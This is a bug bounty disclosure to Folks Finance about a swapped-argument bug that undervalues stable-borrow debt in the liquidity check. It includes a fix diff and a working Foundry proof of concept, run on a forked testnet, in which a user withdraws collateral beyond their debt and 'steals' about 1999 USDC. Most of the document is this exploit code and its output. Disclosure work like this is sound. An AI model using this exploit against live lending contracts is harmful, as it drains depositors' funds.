Submitted on Sun Aug 04 2024 18:02:43 GMT-0400 (Atlantic Standard Time) by @A2Security for Boost | Folks Finance
Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9
There is a flaw in the implementation of the liquidity calculations for loans where the effective borrow value will be significantly undervalued for stable borrows. Specifically, the getLiquidity()
function incorrectly calculates the effective borrow value due to a mistake in the order of indexes when calling balance.calcBorrowBalance()
. The getLiquidity()
function is crucial because it used at the end of functions that reduces user loan health (including withdraw) to check if loan is healthy .
Worst case scenario this bug could be used by attacker, to directly steal funds from the protocol, by undervaluing his debt(with accrued interest) and then withdraw a large portion of his collateral (see poc) however this requires enough time untill enough interest is accrued for the balance to be devalued enough for the attacker to be able to withdraw a large amount of his collateral and because of this we think the high severity is fair.
Copy effectiveValue = 0 ;
poolsLength = loan.borPools.length;
for ( uint8 i = 0 ; i < poolsLength; i ++ ) {
poolId = loan.borPools[i];
LoanManagerState.UserLoanBorrow memory loanBorrow = loan.borrows[poolId];
balance = loanBorrow.lastStableUpdateTimestamp > 0
@> ? calcStableBorrowBalance(loanBorrow.balance, loanBorrow.lastInterestIndex, loanBorrow.stableInterestRate, block.timestamp - loanBorrow.lastStableUpdateTimestamp)
: calcVariableBorrowBalance(loanBorrow.balance, loanBorrow.lastInterestIndex, pools[poolId].getUpdatedVariableBorrowInterestIndex());
priceFeed = oracleManager. processPriceFeed (poolId);
effectiveValue += MathUtils.calcBorrowAssetLoanValue(balance, priceFeed.price, priceFeed.decimals, loanPools[poolId].borrowFactor);
}
loanLiquidity.effectiveBorrowValue = effectiveValue;
Copy function calcStableBorrowBalance(uint256 balance, uint256 loanInterestIndex, uint256 loanInterestRate, uint256 stableBorrowChangeDelta) private pure returns (uint256) {
uint256 stableBorrowInterestIndex = MathUtils.calcBorrowInterestIndex(loanInterestRate, loanInterestIndex, stableBorrowChangeDelta);
return balance. calcBorrowBalance (loanInterestIndex , stableBorrowInterestIndex);
}
Copy function calcStableBorrowBalance(uint256 balance, uint256 loanInterestIndex, uint256 loanInterestRate, uint256 stableBorrowChangeDelta) private pure returns (uint256) {
uint256 stableBorrowInterestIndex = MathUtils.calcBorrowInterestIndex(loanInterestRate, loanInterestIndex, stableBorrowChangeDelta);
return balance. calcBorrowBalance (loanInterestIndex , stableBorrowInterestIndex);
}
Copy function calcStableBorrowBalance(uint256 balance, uint256 loanInterestIndex, uint256 loanInterestRate, uint256 stableBorrowChangeDelta) private pure returns (uint256) {
uint256 stableBorrowInterestIndex = MathUtils.calcBorrowInterestIndex(loanInterestRate, loanInterestIndex, stableBorrowChangeDelta);
- return balance.calcBorrowBalance(loanInterestIndex, stableBorrowInterestIndex);
+ return balance.calcBorrowBalance(stableBorrowInterestIndex, loanInterestIndex);
}
Copy Ran 1 test for test/pocs/forktest. t.sol :Pocs2
[PASS] test_poc_02() (gas: 1329432 )
Logs:
amount gained by withdrawal 7000 usdc
amounts Bob stole 1999 usdc
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 524 .96ms ( 11 .99ms CPU time)
Ran 1 test suite in 529 .44ms ( 524 .96ms CPU time): 1 tests passed, 0 failed, 0 skipped ( 1 total tests)
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "@forge-std/Test.sol" ;
import "contracts/hub/Hub.sol" ;
import "contracts/spoke/SpokeToken.sol" ;
import "contracts/spoke/SpokeCommon.sol" ;
import "contracts/hub/HubPool.sol" ;
import "contracts/hub/LoanManager.sol" ;
import "contracts/bridge/libraries/Messages.sol" ;
import "contracts/hub/AccountManager.sol" ;
import "contracts/bridge/BridgeRouter.sol" ;
import "contracts/bridge/HubAdapter.sol" ;
import "contracts/oracle/modules/NodeManager.sol" ;
import "contracts/hub/OracleManager.sol" ;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol" ;
contract baseTest is Test {
using SafeERC20 for address ;
// Hub public hub;
uint256 mainnetFork;
bytes32 public constant PREFIX = "HUB_ADAPTER_V1" ;
address constant HUB_ADDRESS = 0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140 ; // Assuming this is the Hub address
address constant SPOKE_COMMON = 0x6628cE08b54e9C8358bE94f716D93AdDcca45b00 ;
address constant SPOKE_USDC = 0x89df7db4af48Ec7A84DE09F755ade9AF1940420b ;
address constant HUBPOOL_USDC = 0x1968237f3a7D256D08BcAb212D7ae28fEda72c34 ;
address constant HUBPOOL_AVAX = 0xd90B7614551E799Cdef87463143eCe2efd4054f9 ;
address constant SPOKE_AVAX = 0xBFf8b4e5f92eDD0A5f72b4b0E23cCa2Cc476ce2a ;
address constant LOAN_MANAGER = 0x2cAa1315bd676FbecABFC3195000c642f503f1C9 ;
address constant ACCOUNT_MANAGER = 0x3324B5BF2b5C85999C6DAf2f77b5a29aB74197cc ;
address constant USDC_TOKEN = 0x5425890298aed601595a70AB815c96711a31Bc65 ;
address constant ADAPTER = 0xf472ab58969709De9FfEFaeFFd24F9e90cf8DbF9 ;
address constant LISTING_ROLE = 0x16870a6A85cD152229B97d018194d66740f932d6 ;
address constant BRIDGE_ROUTER_HUB = 0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837 ;
address constant ORACLE_MANAGER = 0x46c425F4Ec43b25B6222bcc05De051e6D3845165 ;
address constant NODE_MANAGER = 0xA758c321DF6Cd949A8E074B22362a4366DB1b725 ;
uint16 constant STABELE_LOAN_TYPE_ID = 1 ;
uint16 constant VARIABLE_LOAN_TYPE_ID = 2 ;
uint16 constant CHAIN_ID = 1 ; // Assuming Ethereum mainnet
Hub hub;
SpokeCommon spokeCommon;
AccountManager accountManager;
SpokeToken spokeUsdc;
SpokeToken spokeAvax;
HubPool hubPoolUsdc;
HubPool hubPoolAvax;
LoanManager loanManager;
HubAdapter adapter;
BridgeRouter bridgeRouterHub;
NodeManager nodeManager;
OracleManager oracleManager;
Messages.MessageParams DUMMY_MESSAGE_PARAMS = Messages.MessageParams({adapterId: 1, returnAdapterId: 1, receiverValue: 0, gasLimit: 0, returnGasLimit: 0});
///// users account ids :
address bob = makeAddr ( "bob" );
address alice = makeAddr ( "alice" );
bytes32 bobAccountId;
bytes32 aliceAccountId;
bytes32 [] bobLoanIds;
bytes32 [] aliceLoanIds;
function setUp () public {
// Fork Avalanche mainnet
mainnetFork = vm. createFork ( "https://api.avax-test.network/ext/bc/C/rpc" , 35000569 );
vm. selectFork (mainnetFork);
// Initialize contracts
bridgeRouterHub = BridgeRouter (BRIDGE_ROUTER_HUB);
hub = Hub (HUB_ADDRESS);
spokeCommon = SpokeCommon (SPOKE_COMMON);
spokeUsdc = SpokeToken (SPOKE_USDC);
spokeAvax = SpokeToken (SPOKE_AVAX);
hubPoolUsdc = HubPool (HUBPOOL_USDC);
hubPoolAvax = HubPool (HUBPOOL_AVAX);
loanManager = LoanManager (LOAN_MANAGER);
accountManager = AccountManager (ACCOUNT_MANAGER);
adapter = HubAdapter (ADAPTER);
nodeManager = NodeManager (NODE_MANAGER);
oracleManager = OracleManager (ORACLE_MANAGER);
// create account ids for bob and alice :
address [] memory _users = new address []( 2 );
_users[ 0 ] = bob;
_users[ 1 ] = alice;
bytes32 [] memory ids = _createAccounts (_users);
bobAccountId = ids[ 0 ];
aliceAccountId = ids[ 1 ];
// create loanids for alice and bob :
bobLoanIds. push ( _createLoan (bobAccountId , bob , 1 , VARIABLE_LOAN_TYPE_ID));
bobLoanIds. push ( _createLoan (bobAccountId , bob , 2 , STABELE_LOAN_TYPE_ID));
aliceLoanIds. push ( _createLoan (aliceAccountId , alice , 1 , VARIABLE_LOAN_TYPE_ID));
bobLoanIds. push ( _createLoan (aliceAccountId , alice , 2 , STABELE_LOAN_TYPE_ID));
// credit bob and alice with 1M usdc and 1000 avax each :
deal (USDC_TOKEN , bob , 1e12 );
deal (USDC_TOKEN , alice , 1e12 );
vm. deal (bob , 100000e18 );
vm. deal (alice , 100000e18 );
}
////////////////////////////////////// helpers ///////////////////////////////////////////
function _creditAvax ( address to , uint256 amount) internal {
vm. deal (to , amount);
}
function _creditUsdc ( address to , uint256 amount) internal {
deal (USDC_TOKEN , to , amount);
}
function _approveUsdc ( address from , address to , uint256 amount) internal {
vm. prank (from);
IERC20 (USDC_TOKEN). approve (to , amount);
}
function _createAccounts ( address [] memory users) internal returns ( bytes32 [] memory ) {
bytes32 id;
bytes32 [] memory ids = new bytes32 [](users.length);
for ( uint256 i = 0 ; i < users.length; i ++ ) {
id = keccak256 (abi. encode (i , "testing" ));
vm. prank (users[i]);
spokeCommon. createAccount (DUMMY_MESSAGE_PARAMS , id , "" );
assertTrue (accountManager. isAccountCreated (id));
ids[i] = id;
}
return ids;
}
function _createLoan ( bytes32 accId , address _sender , uint256 nonce , uint16 _loanType ) internal returns ( bytes32 ) {
bytes32 loanId = keccak256 (abi. encode (accId , nonce , "loan" ));
uint16 loanType = _loanType;
bytes32 loanName = keccak256 (abi. encode (loanId , loanType));
// create the loan :
vm. prank (_sender);
spokeCommon. createLoan (DUMMY_MESSAGE_PARAMS , accId , loanId , loanType , loanName);
// check if the loan is created :
assertTrue (loanManager. isUserLoanActive (loanId));
return loanId;
}
function _createLoanAndDeposit(bytes32 _accountId, address sender, uint256 nonce, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
bytes32 loanId = keccak256 (abi. encode (_accountId , nonce , "loan" ));
uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
bytes32 loanName = keccak256 (abi. encode (loanId , loanTypeId));
vm. prank (sender);
spoke. createLoanAndDeposit (DUMMY_MESSAGE_PARAMS , _accountId , loanId , _amount , loanTypeId , loanName);
}
function _createLoanAndDeposit(bytes32 _accountId, address sender, bytes32 _loanId, uint16 loanType, uint256 _amount, SpokeToken spoke) internal {
bytes32 loanId = _loanId;
uint16 loanTypeId = loanType; // or VARIABLE_LOAN_TYPE_ID
bytes32 loanName = keccak256 (abi. encode (loanId , loanTypeId));
vm. prank (sender);
spoke. createLoanAndDeposit (DUMMY_MESSAGE_PARAMS , _accountId , loanId , _amount , loanTypeId , loanName);
}
function _borrowVariable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount) internal {
_borrow (sender , _accountId , _loanId , _poolId , _amount , 0 );
}
function _borrowStable(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
_borrow (sender , _accountId , _loanId , _poolId , _amount , _maxStableRate);
}
function _borrow(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, uint256 _maxStableRate) internal {
vm. prank (sender);
spokeCommon. borrow (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , CHAIN_ID , _amount , _maxStableRate);
}
function _deposit(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke) internal {
vm. prank (sender);
spoke. deposit (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount);
}
function _depositAvax ( address sender , bytes32 _accountId , bytes32 _loanId , uint256 _amount ) internal {
vm. prank (sender);
spokeAvax.deposit{value : _amount}(DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount);
// spoke.deposit(DUMMY_MESSAGE_PARAMS, _accountId, _loanId, _amount);
}
function _withdraw(address sender, bytes32 _accountId, bytes32 _loanId, uint8 _poolId, uint256 _amount, bool isFAmount) internal {
vm. prank (sender);
spokeCommon. withdraw (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , CHAIN_ID , _amount , isFAmount);
}
function _repay(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, SpokeToken spoke, uint256 maxOverRepayment) internal {
vm. prank (sender);
spoke. repay (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _amount , maxOverRepayment);
}
function _repayWithCollateral(address sender, bytes32 _accountId, bytes32 _loanId, uint256 _amount, uint8 _poolId) internal {
vm. prank (sender);
spokeCommon. repayWithCollateral (DUMMY_MESSAGE_PARAMS , _accountId , _loanId , _poolId , _amount);
}
function _getMsgId () internal view returns ( bytes32 ) {
uint256 s = adapter. sequence ();
return keccak256 (abi. encodePacked (PREFIX , s));
}
function _checkSeccuss ( bytes32 msgId) internal {
vm. expectEmit ();
emit BridgeRouter. MessageSucceeded ( 1 , msgId);
}
function _checkMessageSeccuss () internal {
// vm.exepctEmit(true,false,false);
// emit BridgeRouter.MessageSuccess(0,"");
}
}
Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import "./base_test.sol";
import "contracts/hub/logic/UserLoanLogic.sol";
event MessageSucceeded(uint16 adapterId, bytes32 indexed messageId);
event MessageFailed(uint16 adapterId, bytes32 indexed messageId, bytes reason);
contract Pocs2 is baseTest {
function test_poc_02() public {
// note set usdc price to 1 using constant error to avoid erros later afer skipping days
bytes memory params = abi.encode(1e18);
bytes32[] memory parents = new bytes32[](0);
bytes32 usdc_constant_node = 0x0d40261f4e58e0a12a3ba4bca3e3b8f06c251e1a9c65cde23dae8813e3780310;
params = abi.encode(25e18);
bytes32 avax_constant_node = nodeManager.registerNode(NodeDefinition.NodeType.CONSTANT, params, parents);
vm.startPrank(LISTING_ROLE);
oracleManager.setNodeId(hubPoolUsdc.getPoolId(), usdc_constant_node, 6);
// get the preStates :
uint256 stableRate = hubPoolUsdc.getStableBorrowData().interestRate; // 9% (0.09);
loanManager.updateLoanPoolCaps(1, hubPoolUsdc.getPoolId(), 1e12, 1e11);
hubPoolUsdc.updateCapsData(HubPoolState.CapsData(type(uint64).max, type(uint64).max, 1e18));
vm.stopPrank();
bytes32 bobLoanId = bobLoanIds[1];
//deposit some collateral :
uint256 bobDeposit = 1e10 + 1; // 10000 usdc
_approveUsdc(bob, address(spokeUsdc), bobDeposit);
_deposit(bob, bobAccountId, bobLoanId, bobDeposit, spokeUsdc);
// borrow stabel agains your collateral :
uint256 amountToBorrow = 0.5e10; //since collateral factor is 0.5
_borrowStable(bob, bobAccountId, bobLoanId, hubPoolUsdc.poolId(), amountToBorrow, 9.1e16);
// skip some time so intrest accrues
skip(3000 days);
uint256 bobBalanceBefore = IERC20(USDC_TOKEN).balanceOf(bob);
_withdraw(bob, bobAccountId, bobLoanIds[1], hubPoolUsdc.poolId(), 0.7e10, false);
// amount gained by withdrawal
uint256 amountGainedByBob = IERC20(USDC_TOKEN).balanceOf(bob) - bobBalanceBefore;
console.log("amount gained by withdrawal", amountGainedByBob/1e6, "usdc");
console.log("amounts Bob stole", ((amountGainedByBob + amountToBorrow) - bobDeposit)/1e6, "usdc");
}
}